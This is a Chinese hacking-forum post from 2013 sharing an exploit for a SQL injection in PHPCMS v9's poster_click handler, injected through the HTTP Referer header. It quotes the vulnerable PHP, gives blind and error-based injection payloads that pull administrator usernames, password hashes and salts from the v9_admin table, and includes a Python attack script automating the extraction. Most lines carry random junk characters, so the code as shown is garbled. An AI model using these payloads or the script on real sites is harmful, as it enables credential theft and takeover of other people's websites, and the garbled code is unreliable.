找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2324|回复: 0
打印 上一主题 下一主题

phpcms post_click注入0day利用代码

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-11 21:01:00 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:
$ R$ m( q) K! W' J3 G% H* B7 o& l$ U! d* F. Q  e9 E
问题函数\phpcms\modules\poster\index.php
. r* ?* H  m4 O6 R, e- M8 `& i: y
! @# Y- }$ Q6 L) `) Y' \+ K' Epublic function poster_click() {
  l" t7 g7 W1 P- Y2 ?) l  [$id = isset($_GET['id']) ? intval($_GET['id']) : 0;/ z3 S3 `6 t* k: N/ G5 x
$r = $this->db->get_one(array('id'=>$id));  a  _8 D) y3 q  H! G& e
if (!is_array($r) && empty($r)) return false;6 {  c6 |" Q7 Q- m: O! S+ n
$ip_area = pc_base::load_sys_class('ip_area');
1 G) g/ b1 g" }2 l  s$ip = ip();0 A/ g) R! Y9 M1 g  u8 O
$area = $ip_area->get($ip);2 m% [( h! a; k
$username = param::get_cookie('username') ? param::get_cookie('username') : '';
% _; @# G0 T+ xif($id) {
/ _! R* A9 d5 N5 `* T! c$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
0 x) M$ N/ X& ]: e# ?2 x$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));0 F* ^. b6 o4 h2 \" _) |1 n& l5 {
}
3 w: n0 v; o7 Q$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
/ X- K% y! q$ V  ]1 |4 c) |/ f- ]: C$setting = string2array($r['setting']);9 H5 F' o; U. M  D+ ?/ |
if (count($setting)==1) {- [; q& \' b' l' W& Z0 ]
$url = $setting['1']['linkurl'];" ?, i& I" V) i' y* E
} else {
' M2 H2 L0 l- v* E& p$ L" {8 d$ h, Y$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];9 _. u8 i$ n. D' W0 i
}
8 E! b" X' L( q& {- Yheader('Location: '.$url);
8 [5 v/ a: ^1 a( p" R2 `: {}
" E' c5 g% B' O( b' z" |$ K: b8 O9 o' t
- T0 k! L: T& H% F" ?6 @: y
. @6 a8 O. R8 W$ I: Z: ]' ]
利用方式:- w5 X4 D' F: k& T' G) B( P

) A5 [  Z9 W1 O8 c! z; ~1、可以采用盲注入的手法:
0 n9 ]- u* R2 Q
# ^' L2 r. C. t( ]  b2 }: j6 |referer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#6 S$ H9 Z" e4 D7 a
* f) f6 v# B( I5 v5 S6 |8 k, z  G  M
通过返回页面,正常与否一个个猜解密码字段。0 o/ A# m1 X) d
& y2 L7 L' G1 B0 g: A* b
2、代码是花开写的,随手附上了:
+ H3 b+ _& ^# J8 f! _2 g$ p5 z6 y0 j& {
1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#5 L/ F* I+ ?+ K( d, D5 z

% t4 ?/ n0 V) A% v* X: P7 F6 k此方法是爆错注入手法,原理自查。
+ M8 }% }8 J9 o" M; C2 O' k
2 B  k" c( y1 O# U* W. B, l
$ F& {6 {; {! X8 c1 N0 g, n5 d$ D, M* s
利用程序:
$ x1 J- f' j& n0 S1 z
1 E" M3 @% l6 K) T) m  i#!/usr/bin/env python
. k+ |/ Y: k' t& r4 Iimport httplib,sys,re' S) u; e+ J# m; G7 f% O

( A4 z* Y7 @0 ]4 A+ I0 S! h# x% Zdef attack():! Q% N/ T% A' r/ d* D' C
print “Code by Pax.Mac Team conqu3r!”
2 N  i  H# u& ]2 ?print “Welcome to our zone!!!”
# @6 z; I$ D  b/ h/ M5 Hurl=sys.argv[1]
% y3 \* C( R/ epaths=sys.argv[2]. z; a( \: S& g, z& e
conn = httplib.HTTPConnection(url)1 h+ Z5 J7 @, Y; B2 |
i_headers = {“User-Agent”: “Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1) Gecko/20090624 Firefox/3.5″,$ u' ]% X: p% [7 J7 w5 E( ]6 K9 x6 q5 z
“Accept”: “text/plain”,, \* {' {# W. z3 P' x9 M
“Referer”: “1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#”}& u$ d. P2 _6 J: U1 w
conn.request(“GET”, paths+”/index.php?m=poster&c=index&a=poster_click&sitespaceid=1&id=2″, headers = i_headers)4 c$ \3 Z! U" Q6 D# K
r1 = conn.getresponse()& h5 Y" J! n, q8 }/ t  w
datas=r1.read()
6 `& p" y  U1 }1 V5 F7 o# Qdatas=re.findall(r”Duplicate entry \’\w+’”, datas)
! {4 G( |' V$ Y3 f2 a5 _9 Jprint datas[0]- q6 B4 T3 \0 W( e0 w6 q/ @
conn.close()
. C5 X' ]' C1 |; l: E# Tif __name__==”__main__”:
8 M* H% E8 R& M$ }; i( N/ q7 uif len(sys.argv)<3:# _1 g% q6 h: Y/ Z( U  O
print “Code by Pax.Mac Team conqu3r”
5 j: p; W/ m3 m0 G. B6 Oprint “Usgae:”
! r- N6 U4 |' Yprint “    phpcmsattack.py   www.paxmac.org /”; ]- o/ z; r) o3 L3 w; G
print “    phpcmsataack.py   www.paxmac.org /phpcmsv9/”8 a' r1 M5 J% q' K7 T
sys.exit(1)( {, a4 A& f! G& U1 t
attack()& F4 |8 D; g" @# m5 a+ T! v

" g( ?1 P1 P; _
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表